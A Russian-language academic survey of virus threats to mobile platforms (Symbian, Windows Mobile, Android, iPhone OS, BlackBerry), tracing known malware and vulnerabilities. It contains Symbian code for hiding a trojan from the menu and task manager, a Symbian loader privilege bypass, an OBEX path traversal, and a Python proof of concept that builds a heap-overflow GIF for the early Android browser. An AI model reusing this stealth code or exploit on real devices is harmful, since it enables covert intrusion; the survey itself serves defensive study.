В. Н. Конев, М. И. Фроимсон, Д. М. Михайлов, В. Л. Евсеев

ВИРУСНЫЕ АТАКИ НА СОВРЕМЕННЫЕ МОБИЛЬНЫЕ ПЛАТФОРМЫ

Введение

В настоящее время все большую популярность приобретают коммуникаторы, зачастую заменяющие их владельцам персональный компьютер или ноутбук и активно используемые ими для работы, учебы и личной жизни.

Коммуникаторы превратились из простых телефонов в многофункциональные карманные компьютеры, совмещающие в себе органайзер, медиаплеер, игровую приставку, офисный помощник, навигатор и многое другое. По функциональности многие из них сравнимы с персональными компьютерами, а по мощности лишь немного им уступают. Постепенно пользователи начинают хранить большую часть конфиденциальной либо строго секретной информации в мобильных телефонах, пользуясь удобством и компактностью этих устройств. Но, в отличие от классического персонального компьютера, коммуникатор не обеспечивает высокий уровень защиты информации. Производители мобильных телефонов, не акцентируя внимания на защите данных, наращивают функциональность, качество графики и удобство использования. И если для ПК существуют строго специализированные на безопасности операционные системы, то для мобильных устройств таких систем нет.

Одной из наиболее актуальных угроз является опасность заражения телефона вирусами, различные виды которых стали в последнее время появляться все чаще. Вредоносный код может позволить злоумышленнику получить доступ к конфиденциальной информации, а также к управлению аппаратом. Усугубляется ситуация недостаточной мощностью существующих антивирусов для мобильных устройств.

Рассмотрим подробнее наиболее популярные на сегодняшний день платформы и проанализируем возможность их заражения.

Symbian

Symbian OS — одна из наиболее распространенных на сегодняшний день операционных систем для смартфонов и коммуникаторов с открытым исходным кодом. Начиная с версий системы, относящихся ко второму поколению, для обеспечения безопасности был введен механизм «подписей». Теперь каждое приложение должно быть подписано, а сами подписи делятся на Symbian Signed и self-signed. Self-signed приложение подписывается самим разработчиком, в связи с чем имеет низший уровень привилегий. Подпись Symbian Signed можно получить только после того, как программа будет протестирована и специалисты компании Symbian подтвердят ее безопасность. Подпись определяет уровень прав приложения, в частности, self-signed приложение не будет иметь доступа к системной папке sys, доступ к папке resources будет только на чтение. Любая функция или действие операционной системы требует определенного уровня привилегий. Всего существует 4 уровня возможностей:

1. Открытые (Open) — составляют около 60 % Symbian API (включают в себя все необходимое для создания приложения, пользовательского интерфейса и хранения данных, не требуют Symbian Signed).

2. Базовые (Basis) — функции, отвечающие за звонки, отправку SMS, выход в Интернет, работу с персональными данными пользователя. Этот набор функций также доступен любому приложению, однако, если self-signed приложение пытается выполнить какое-то действие, например позвонить на некоторый номер, система затребует подтверждения пользователя на этот звонок, в то время как Symbian Signed приложение сделает это без какого-либо подтверждения.

3. Расширенные (Extended) — функции для управления системной информацией (установки телефона, питание и т. п.). Для доступа к этому набору функций приложение должно быть Symbian

Signed, а для доступа к некоторым из этих возможностей при подаче заявки требуется указать, зачем именно приложению необходимо выполнять эти функции.

4. Полные (Manufacturer) — неограниченный доступ к операционной системе и данным (требуется договоренность с производителем устройства).

В вопросах безопасности обычные мобильные телефоны, работающие на прошивке, превосходят смартфоны и коммуникаторы, использующие полноценные операционные системы. Для написания вредоносного ПО для обычного мобильного телефона придется использовать технологию Java, которая не имеет доступа к системе и системным файлам, более того, система будет спрашивать разрешение на установку приложения и выполнение им определенных действий, поэтому Java-вирусы не представляют особой опасности. В случае операционных систем дела обстоят иначе. Symbian OS предоставляет злоумышленникам широкие возможности для написания стороннего ПО, в том числе вредоносного [1]. Первым вирусом для этой ОС стал появившийся в 2004 г. вирус Cabir (Caribe). Особой угрозы он не представлял, его действия ограничивались лишь рассылкой собственных копий по Bluetooth, что влекло за собой быструю разрядку батареи. Целью написания этого вируса было показать принципиальную возможность существования вредоносных программ для мобильных устройств. При установке вирус копирует в соответствующую директорию свои файлы: caribe.app (приложение), caribe.rsc (ресурсы) и flo.mdl — файл с расширением .mdl используется для автоматического запуска приложения при включении мобильного телефона (поддержка автозапуска появилась только в 9.x версиях Symbian, поэтому существовала необходимость создания искусственного механизма автостарта). Затем вирус создает файл с расширением .sys, который будет использоваться для рассылки на другие телефоны через Bluetooth. Несмотря на весьма ограниченный радиус действия этой технологии (всего 10—20 метров), достаточно большое количество пользователей не отключают Bluetooth, поэтому проблем с распространением вируса (в частности, в общественных местах) не возникало. В отличие от файлов с расширением .app и .exe, при получении файла с расширением .sys система не предупреждает пользователя о возможной опасности, выдавая обычный запрос на установку приложения, хотя в случае использования .sys-файла есть возможность задать параметры автозапуска. Через некоторое время после появления Caribe его код стал доступен в Сети.

Публикация открытого кода повлекла за собой появление ряда других вирусов на основе Cabir (в частности, Mabir — модификация исходного вируса с возможностью распространения через MMS, вирус Lasco). За короткое время появилось большое число уже гораздо более опасных вредоносных программ, написанных преимущественно под Symbian и Windows Mobile. В случае Symbian это был длинный список троянских программ [2]:

- Trojan.SymbOS.Mosquit — отправляет на указанные в коде номера SMS;
- Trojan.SymbOS.Skuller — замена иконок программ на иконку черепа, после чего приложения перестают функционировать;
- Trojan.SymbOS.Locknut — делает невозможным включение смартфона после перезагрузки;
- Trojan.SymbOS.Dampig — перезапись системных приложений неработающими;
- Trojan.SymbOS.Drever — отключение автозапуска антивирусов;
- Trojan.SymbOS.Hobble — нарушает работу File Explorer;
- Worm.SymbOS.Comwar (CommWarrior) — использует для распространения MMS.

Появление механизма подписи приложений, казалось бы, должно было решить проблему с вредоносным ПО, однако возможность написания весьма опасных программ осталась и для последних версий Symbian 9.x. Обеспечить «невидимость» приложения для пользователя можно, исключив его из меню программ, диспетчера приложений, а также убрав возможность получения фокуса. Для того чтобы избавиться от иконки приложения в меню телефона, злоумышленнику достаточно изменить структуру APP_REGISTRATION_INFO, содержащую служебную информацию о нем, добавив строку: “hidden = KAppIsHidden;”.

Следующим шагом атакующий описывает виртуальную функцию UpdateTaskNameL, отвечающую за отображение приложения в диспетчере задач:

```
Void
CMegaTroj::UpdateTaskNameL
(CApaWindowGroupName*aWgName)
{
CAknDocumen ::UpdateTaskNameL(aWgName); //вызов системной функции UpdateTaskNameL
aWgName->SetHidden(ETrue); //Скрытие приложения в диспетчере задач aWgName->SetSystem(ETrue);
}
```

Наконец, для того чтобы программа не могла получить фокус, необходимо переопределить метод класса CAknViewAppUi, вызываемого в момент получения/потери фокуса приложением (HandleForegroundEventL):

```
CEikonEnv::Static()->
RootWin().EnableReceiptOfFocus(EFalse); // приложение не может получить фокус
void CMegaTrojAppUi::HandleForegroundEventL (TBool aForeground)
{
switch (aForeground)
{
case ETrue:
{
CEikonEnv::Static()->RootWin().SetOrdinalPosition (0, ECoeWinPriorityNormal);
TApaTask task(iEikonEnv->WsSession()); task.SetWgId(CEikonEnv::Static()-> RootWin().Identifier()); task.SendToBackground();
}
break;
}
}
```

После выполнения приведенных команд приложение может выполнять какие угодно действия, при этом хозяин телефона об этом не будет знать. Последним препятствием на пути злоумышленника является необходимость подписи его приложения, однако, как оказалось, есть два пути получения подписи для вредоносной программы. Первый заключается в том, что можно получить сертификат для любого ПО, зная уникальный идентификатор устройства (IMEI), установить подписанное таким образом приложение, естественно, можно будет только на аппараты с данным IMEI. Второй основывается на получении подписи через Express Signed, в данном случае тестирование программы специалистами производиться не будет, и единственная сложность для злоумышленника состоит в необходимости наличия идентификатора поставщика услуг — Publisher ID, который выдается только юридическим лицам. Тем не менее, так как проверять подлинность документов каждой регистрации нет возможности, получение Publisher ID злоумышленником также не является проблемой. Помимо упомянутых способов получения сертификата на вредоносное ПО, компания F-Secure, занимающаяся разработкой антивирусов, обнаружила уязвимости в Symbian, позволяющие получить полный доступ к аппаратам ветки S60. Ключом к подобному взлому является возможность присвоения имен устройств. Загрузчик откажется загружать исполняемые файлы из любых других директорий, кроме \sys\<путь>, которая доступна на запись только для процессов с высшим уровнем доверия

(Manufacturer). Однако процесс, обладающий возможностью DiskAdmin (не требует высшего уровня доверия), имеет доступ к API, позволяющей помечать поддиректории неиспользуемыми буквами имен приводов. Использовать данную возможность для взлома можно следующим образом: поместить файл test.exe в папку E:\hack\sys\bin\, затем пометить директорию E:\hack\ как привод Y:, после чего при вызове RProcess::Create("test.exe") загрузчик начнет поиск файла в директориях \sys\bin всех имеющихся устройств. Таким образом, он найдет Y:\sys\bin\test.exe и, расценив его как верный исполняемый файл, загрузит его в память. Процесс, запущенный таким образом, будет иметь все возможности, включая те, которые требуют высшего уровня доверия.

Windows Mobile

Windows Mobile — операционная система для мобильных устройств с закрытым исходным кодом, основанная на ядре Windows CE. В плане обеспечения безопасности можно отметить наличие антивирусов, брандмауэров, встроенную возможность входа в систему по отпечатку пальцев и паролю, использование защищенной авторизации WPA для подключения к Wi-Fi сетям.

Высоким уровнем безопасности операционные системы семейства Windows Mobile не отличаются, начиная с самых ранних версий и заканчивая последними, в системе присутствует ряд уязвимостей и неудачных решений. В частности, диспетчер задач появился только в WM 6.1, до этого пользователь не мог следить за приложениями, запущенными на его телефоне. Подобную возможность можно было получить, используя сторонние программы, однако далеко не все они являлись качественными. Остро стоит проблема хранения паролей. Зачастую пароли хранятся в ветках системного реестра (HKLM\Software) или конфигурационных файлах программы в незашифрованном или слабо зашифрованном виде, притом что, зная местонахождение интересующего пароля, можно просто скопировать нужную ветку в реестр своего устройства, не прибегая к дешифрации. Также некоторые программы, хранящие конфиденциальные данные, используя PIN-код, хранят его без применения шифрования или хэширования. До появления Active Sync 4.0 990 порт был открыт для всех подключений, таким образом, злоумышленник, прослушивающий этот порт, мог перехватывать любую информацию, которой обменивалось устройство с ПК. Также Windows Mobile не избежала проблем с безопасностью, свойственных и ряду других операционных систем:

- доступные разработчикам API для работы с текстовыми сообщениями позволяют удалять и писать SMS, что с учетом широкого распространения платных SMS-сервисов представляет серьезную угрозу;
- возможность получения доступа к персональной информации: контактам, истории звонков, документам;
- широко распространенная проблема с переполнением буфера;
- ПО обработки MMS не проверяет соответствие содержимого поля "From" фактическому номеру, с которого пришло сообщение, таким образом, можно отправить вредоносную программу, подписавшись не вызывающим подозрений мобильным оператором;
- API для работы со звонками представляют ту же угрозу, что и в случае с SMS, однако здесь ситуация усугубляется еще и тем, что имеющихся у разработчика возможностей достаточно, чтобы написать диктофон, записывающий разговоры в фоновом режиме и впоследствии отправляющий их с помощью MMS или e-mail.

История вирусов для Windows Mobile начинается с вируса Duts, появившегося почти сразу после Cabir. Несмотря на то что вирус очень легко размножался, чему способствовало множество способов его распространения: через Bluetooth, e-mail, GPRS, карты памяти, синхронизацию с ПК, опасности он не представлял. После запуска зараженного файла приложение спрашивало у пользователя: «Dear User, am I allowed to spread?». Заражение телефона происходило только в случае положительного ответа. Как и Cabir, Duts был написан для того, чтобы доказать

принципиальную возможность существования вируса для операционной системы Windows Mobile. Появившаяся позднее программа-бэкдор, заражавшая устройства с ОС Windows Mobile 2003, представляла куда большую угрозу. Backdoor.WinCE.Brador.a давал злоумышленнику полный контроль над устройством с помощью удаленного администрирования. Данная программа определяла IP-адрес устройства и отправляла его на почту злоумышленника, вместе с тем открывая порт 44299 для приема команд. С выходом Windows Mobile 5.0 был решен ряд проблем с безопасностью, старые вирусы уже не представляли опасности. Однако некоторые уязвимости остались, в частности Remote Code Execute. Таким образом, для активации вредоносного кода, встроенного в MMS, достаточно было прочитать сообщение. В 2006 г. появился вирус Crossover (CXOver.A), заражавший как мобильные устройства, так и ПК. В случае заражения ПК вирус копировал себя на мобильные устройства, подключенные к нему через ActiveSync. Если зараженным оказывался телефон, то при подключении вирус копировал себя на ПК. Деструктивным действием вируса являлось удаление пользовательских файлов (директория My Documents) с мобильного устройства. Windows Mobile 6 также имеет некоторые проблемы с безопасностью. В частности, была обнаружена уязвимость в WM 6.0 и 6.1, позволяющая удаленному злоумышленнику обойти ограничения безопасности, получив доступ ко всем директориям устройства с возможностью загружать и считывать файлы из них. Данная уязвимость связана с работой Bluetooth OBEX FTP службы, используемой для обмена файлами между устройствами с помощью Bluetooth (позволяет просматривать папки, к которым открыт доступ, а также загружать файлы из этих папок). Из соображений безопасности папки, к которым открыт доступ, должны находиться в директории My Device\My Documents\ (по умолчанию My Device\My Documents\Bluetooth Share) или Memory Card\My Documents\, таким образом, пользователь не сможет по ошибке открыть доступ к важным файлам. Однако, используя программы наподобие ObexFTP, злоумышленник может перемещаться из доступных директорий в родительские, используя метки «../» или «..\\». Единственным условием для использования этой уязвимости является аутентификация и авторизация через Bluetooth, однако для этого достаточно установить соединение с устройством. Дальнейшие действия будут происходить незаметно для хозяина устройства, на которое осуществляется атака.

Android

Android — операционная система для мобильных телефонов с открытым исходным кодом, работающая на ядре Linux и разрабатываемая Open Handset Alliance (OHA).

Основу архитектуры операционной системы составляет ядро Linux версии 2.6, включающее в себя службы управления безопасностью, памятью, процессами, сетевой стек и модель драйверов.

Android — очень молодая операционная система, поэтому пока неизвестно ни одного вируса, атакующего ее, однако, учитывая перспективность данной платформы, можно предположить, что вместе с ростом количества сторонних приложений будет появляться и вредоносное ПО. В качестве недостатков в системе безопасности можно отметить присутствовавшие в ранних версиях Android SDK уязвимости, связанные с ошибками в компонентах обработки файлов форматов .png, .gif, .bmp [3]. Сформированное особым образом изображение могло спровоцировать переполнение буфера, делая возможным выполнение вредоносного кода. Подробное описание атаки представлено ниже.

Когда процессу com.google.android.browser необходимо обработать информацию, включающую в себя GIF-файл, он загружает динамическую библиотеку libsql.so, которая содержит декодеры для разных форматов изображений. Обработка GIF-файлов выполняется корректно библиотекой giflib 4.0 (скомпилированной внутри libsql.so), однако объект GIFImageDecoder производит ошибочный подсчет размера изображения. Логический размер экрана считывается и хранится благодаря следующей последовательности вызовов:

GIFImageDecoder::onDecode()->DGifOpen()->DGifGetScreenDesc().

Последняя функция, DGifGetScreenDesc(), хранит ширину и высоту экрана в структуре под названием GifFileType:

Int DGifGetScreenDesc(GifFileType * GifFile) { /* the screen descriptor*/ if (DGifGetWord(GifFile, &GifFile->SWidth) == GIF_E ROR || DGifGetWord(GifFile, &GifFile->SHeight) == GIF_ERROR) return GIF_ERROR;

}

Структура хранит два поля:

typedef struct GifFileType {/* Screen dimensions. */ GifWord SWidth, SHeight,

}

При дизассемблировании функции GIFImageDecoder::onDecode(можно видеть, как вызывается метод DGifOpen() и возвращаемое значение (GifFileType-структура) хранится в регистре $R5 процессора ARM:

.text:0002F238 SUBS R5, R0, #0 ; GifFile - $R5

После этого вызывается функция DGifSlurp(), корректно формирующая размеры изображения, используя Image Width и Height, а не логическую ширину и высоту экрана:

Int DGifSlurp(GifFileType * GifFile) {Imag Size = sp->ImageDesc.Width * sp->ImageDesc. Height; sp->RasterBits = (unsigned char *)malloc(ImageSize * sizeof(GifPixelType));

}

Впоследствии логическая ширина и высота экрана хранятся в регистрах R9 и R11:

.text:0002F28C LDMIA R5, {R9,R11} ; R9=SWidth, R11=SHeight.

Однако фактическое изображение может иметь намного большие размеры, чем те, которые неправильно передаются GIFImageDecoder:

ImageDecoder::chooseFromOneChoice():

.text:0002F294 MOV R0, R8

.text:0002F298 MOV R1, #3

.text:0002F29C MOV R2, R9

.text:0002F2A0 MOV R3, R11

.text:0002F2A4 STR R12, [SP,#0x48+var_3C]

.text:0002F2A8 BL _ImageDecoder19chooseFromOneChoice; mageDecoder::chooseFrom OneChoice(SkBitmap::Config,int,int)

Bitmap::setConfig():

.text:0002F2B8 MOV R0, R7 ; R7 = SkBitmap

.text:0002F2BC MOV R1, #3

.text:0002F2C0 MOV R2, R9 ; R9=SWidth, R11=SHeight

.text:0002F2C4 MOV R3, R11

.text:0002F2C8 STR R10, [SP,#0x48+var_48]

.text:0002F2CC BL _Bitmap9setConfig ; Bitmap::setConfig(SkBitmap::Config,uint,uint,uint)

Следующий Python-скрипт формирует GIF-файл, вызывающий переполнение (требует наличия Python Imaging Library) при попытке его открыть с помощью браузера Android:

##Android Heap Overflow

import Image

import struct

imagename='overflow.gif'

str = '\x00\x00\x00\x00'*30000

im = Image.frombuffer('L',(len(str),1),str,'raw','L',0,1) im.save(imagename,'GIF')

SWidth=1

```
SHeight=1
img = open(imagename,'rb').read()
img = img[:6]+struct.pack('<HH',SWidth,SHeight)+img[10:]
q=open(imagename,'wb=""')
q.write(img)
q.close()
```

Данная уязвимость относится к ранним версиям SDK и не встречается в последних релизах. Впоследствии было обнаружено еще две уязвимости, которые могут быть использованы для организации DoS-атак. Первая уязвимость связана с обработкой SMS-сообщений. Особым образом сформированное SMS, содержащее сообщение WAP Push неверного формата, вызывает в приложении ошибку Java ArrayIndexOutOfBoundsException (android.com.phone), в результате которой приложение перезагрузится, что приведет к отключению телефона от сети на некоторое время, а в случае, если SIM-карта защищена PIN-кодом, его потребуется ввести снова. Вторая уязвимость связана с обнаружением ряда проблем в Android's Dalvik API. Если пользователь запустит приложение, обращающееся к некорректно функционирующей API-функции, это приведет к перезагрузке системы.

iPhone OS

iPhone OS — операционная система для мобильных устройств iPhone и iPod Touch компании Apple, основанная на Mac OS X, с закрытым исходным кодом. Особенность iPhone OS заключается в ориентации в первую очередь на приложения, а не на функциональность телефона.

Впервые информация о вредоносном ПО для Apple iPhone появилась в Интернете в начале 2008 г. Речь шла о троянской программе «1.1.3 prep», написанной на XML. Данная программа при запуске выводила на экран слово «shoes», а при ее удалении уничтожала все файлы в директории /bin, делая невозможной работу некоторых приложений. Недавно стало известно о появлении червя Ikee, поражающего смартфоны Apple iPhone. В телефон червь попадает через сетевой протокол SSH, пользуясь тем, что большинство пользователей не меняет пароль на SSH (по умолчанию — «alpine»). Никакого вреда данный вирус не наносит, только заменяет обои на фотографию поп-певца Рика Эстли с надписью «ikee is never going to give you up». Однако на основе Ikee чуть позднее появился куда более опасный вирус, перенаправляющий пользователя с сайта голландского интернет-банка ING, использующего iPhone для совершения финансовых операций, на другой сайт с похожим оформлением, где пользователю предлагается ввести его логин и пароль [4].

Важно отметить, что все вышеописанные вредоносные программы атакуют только телефоны, на которых отключена фирменная система защиты Apple (так называемые «разлоченные» телефоны).

BlackBerry OS

BlackBerry OS — операционная система для мобильных устройств, выпускаемых компанией RIM (Research In Motion), с закрытым исходным кодом. В России данная ОС мало распространена, однако она составляет весомую долю мирового рынка. Отличительной особенностью BlackBerry OS является ориентация на корпоративного пользователя, ввиду чего сама операционная система включает в себя только основные функциональные возможности. К достоинствам этой ОС можно отнести высокую степень безопасности персональных данных, которая обеспечивается рядом возможностей ОС:

- использование специальных серверов BES (BlackBerry Enterprise Server) и шифрования по стандарту AES (Advanced Encryption Standard) для защиты передаваемых сообщений;
- полная конфиденциальность переписки;
- удобная и быстрая работа с почтой (возможность работы с несколькими почтовыми ящиками одновременно);

- работа с документами многих распространенных форматов (TXT, PDF, Word, Excel, PowerPoint, HTML, ZIP, JPG, BMP, GIF, PNG, TIFF);
- применение алгоритмов сжатия для экономии трафика;
- удаленная синхронизация контактов и данных с ПК;
- возможность удаления персональных данных в случае утраты устройства (достаточно доступа к системе с ближайшего ПК).

BlackBerry, наряду с iPhone OS, является одной из лучших операционных систем для мобильных телефонов с точки зрения безопасности. До сих пор не было известно ни одной вредоносной программы для этой ОС, за исключением малоизвестного концептуального бэкдора bbproxy, написанного исследователями уязвимостей [5]. Тем не менее на состоявшейся в октябре 2009 г. конференции «Hack in the Box» эксперт в области безопасности Шеран Гунасекера продемонстрировал различные способы шпионажа за владельцем смартфона BlackBerry с помощью созданной им программы PhoneSnoop. Как и в случае большинства вредоносных программ, необходимо, чтобы пользователь установил приложение себе на телефон. После установки PhoneSnoop шпионское ПО позволяет отслеживать номера входящих звонков и включать микрофон для записи разговоров. В целом, на конференции были продемонстрированы более широкие возможности: кража контакт-листа, перехват и отправка SMS от имени жертвы, определение местоположения смартфона через GPS, создание снимков с помощью камеры с определенным интервалом времени, осуществление звонков с использованием средств на счету телефона жертвы. В отличие от представляющих угрозу шпионских программ, PhoneSnoop не прячет свое присутствие, однако скрыть работу программы от глаз пользователя не составит труда.

Заключение

Приведенный обзор позволяет убедиться, что ни одна из перечисленных операционных систем для мобильных телефонов не является полностью защищенной от проникновения вредоносных программ. Особенно актуальной эта проблема становится для государственных и крупных коммерческих структур, так как данные, которыми они оперируют, являются критическими и затрагивают интересы огромного количества людей.

Установка сторонних антивирусных приложений не сможет полностью решить проблему, так как для устранения перечисленных, а также еще не обнаруженных уязвимостей нужно обезопасить данные на уровне самой операционной системы.

Таким образом, для полноценной защиты мобильного телефона от вирусных программ необходима разработка новой, специализированной на безопасности, операционной системы, которая будет являться доверенной, в отличие от перечисленных систем, поставляемых из-за границы, что не может гарантировать отсутствие встроенных закладок.

СПИСОК ЛИТЕРАТУРЫ:

1. *Heath C.* Symbian OS Platform Security: Software Development Using the Symbian OS Security Architecture. Chichsester: John Wiley & Sons, 2006. — 274 с.
2. *Dunham K.* Mobile Malware Attacks and Defense. Burlington: Elsevier, 2008. — 440 с.
3. *Hashimi S. Y.* Pro Android 2. NY: Apress, 2010. — 416 с.
4. *Morrissey S.* iOS Forensic Analysis: for iPhone, iPad, and iPod touch. NY: Apress, 2010. — 372 с.
5. *Hoffman D. V.* Blackjacking: Security Threats to BlackBerry Devices, PDAs, and Cell Phones in the Enterprise. Indianapolis: Wiley Publishing, 2007. — 408 с.